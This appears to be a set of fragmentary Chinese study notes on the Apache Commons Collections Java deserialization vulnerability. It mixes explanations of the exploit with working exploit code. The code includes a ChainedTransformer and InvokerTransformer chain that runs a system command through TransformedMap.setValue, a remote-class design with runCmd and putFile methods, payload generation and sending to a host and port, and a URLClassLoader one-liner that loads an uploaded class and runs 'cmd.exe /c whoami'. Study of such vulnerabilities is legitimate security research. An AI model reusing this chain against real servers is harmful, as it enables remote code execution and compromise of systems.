UI.class->GetShellWL.Connect(Host, Port);
就是反序列化的类
创建我们的远程类,在类中实现两个方法,执行系统命令获取回显和上传文本文件,该类必须继承java.rmi.Remote接口,代码如下:
接口:
public interface InitApp extends java.rmi.Remote {
String runCmd(String cmd) ;
String putFile(String Content,String Path);
}
上传后再注册
byte[] Payload = GenPayload.Gen("Windows", b);
SendPayload.Send(Host, Port, Payload);
getOutputStream 方法用于返回Servlet引擎创建的字节输出流对象,Servlet程序可以按字节形式输出响应正文。
===========================================================================================================================================
byte[] Payload = First_Payload.Gen_FirstPayload("Windows");
Transformer[] transformers = { }漏洞利用
//上传二进制代码
上传到程序运行的当前目录下面,一句话代码:new FileOutputStream("./payload.class").write(new byte[]{0xXX,0xXX,……})
下面执行一句代码:
java.net.URLClassLoader.getConstructor(java.net.URL[].class).newInstance(new java.net.URL[] {new java.net.URL("file:./")}).loadClass("payload").newInstance("cmd.exe /c whoami")
=============================================================================================================================================
关键函数JAVA反射机制:
getClass()
clz.getMethod("foo", String.class)
测试代码:
@SuppressWarnings({"rawtypes", "unchecked"})
public class VulTest {
public static void main(String[] args) {
Transformer transform = new InvokerTransformer( //InvokerTransformer对象,调用了transform
"append",
new Class[]{String.class},
new Object[]{"exploitcat?"});
Object newObject = transform.transform(new StringBuffer("your name is ")) ;
System.out.println(newObject);
}
}
测试代码1:
public class TransformTest {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //绿盟是java.net.URLClassLoader.class
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, //绿盟是getConstructor;java.lang.Class.getConstructor() 方法返回一个Constructor对象
new Object[]{"getRuntime", new Class[0]}), //绿盟是newInstance
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, //绿盟是loadClass
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, //绿盟是getMethod
new Object[]{"calc"})
};
// 绿盟还多了一个invoke
Transformer chain = new ChainedTransformer(transformers) ;
Map innerMap = new HashMap() ;
innerMap.put("name", "hello") ;
Map outerMap = TransformedMap.decorate(innerMap, null, chain) ; //decorate方法
Map.Entry elEntry = (Entry) outerMap.entrySet().iterator().next() ;
elEntry.setValue("hello") ; //entry 对象调用 setValue 时,执行的 checkSetValue.至于为什么呢? 你只要知道,setValue之前需要checkSetValue... 看名字就知道了.打个比方例如php的login()的时候会调用Checklogin()来判断,有时候换个方式来理解下下2333.
}
}
调用这些 transform 方法的是一个叫 TransformedMap 的类的 decorate 方法.
看看 decorate 方法干嘛的.
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer){
return new TransformedMap(map, keyTransformer, valueTransformer);
}
解析:第一个就是Map对象->innerMap;第二个不晓得;第三个Transformer->chain(应该是key/value里面的value)
=====================================================================================================
InvokerTransformer transform有问题
两个漏洞触发:
TransformedMap checkSetValue(Object)触发
LazyMap.get(Object)触发
sun.reflect.annotation.AnnotationInvocationHandler
LazyMap.get:
不确认是否对:LazyMap.get->TransformedMap.decorate->sun.reflect.annotation.AnnotationInvocationHandler
对象就是实例化的一个类
文章说法:
这里大家应该能明白老外为什么要用动态代理来进行构造POC了
因为AnnotationInvocationHandler默认实现了 InvocationHandler 接口
在用 Object iswin=Proxy.newInstance(classloader,interface,InvocationHandler) 生成动态代理后
当对象 iswin 在进行对象调用时,那么就会调用 InvocationHandler.invoke(xx) 方法
所以POC的执行流程为 map.xx->proxy(Map).invoke->lazymap.get(xx)就会触发 transform 方法从而执行恶意代码。
这里的 ChainedTransformer 为链式的 Transformer ,会挨个执行我们定义的 Transformer ,这里比较简单,有兴趣自己去看源码就知道。
TransformedMap checkSetValue:
文章说的
所以这里POC执行流程为 TransformedMap -> AnnotationInvocationHandler.readObject() -> setValue() -> checkSetValue() 漏洞成功触发.
checkSetValue和setValue
http://drops.wooyun.org/papers/10467
http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/
https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/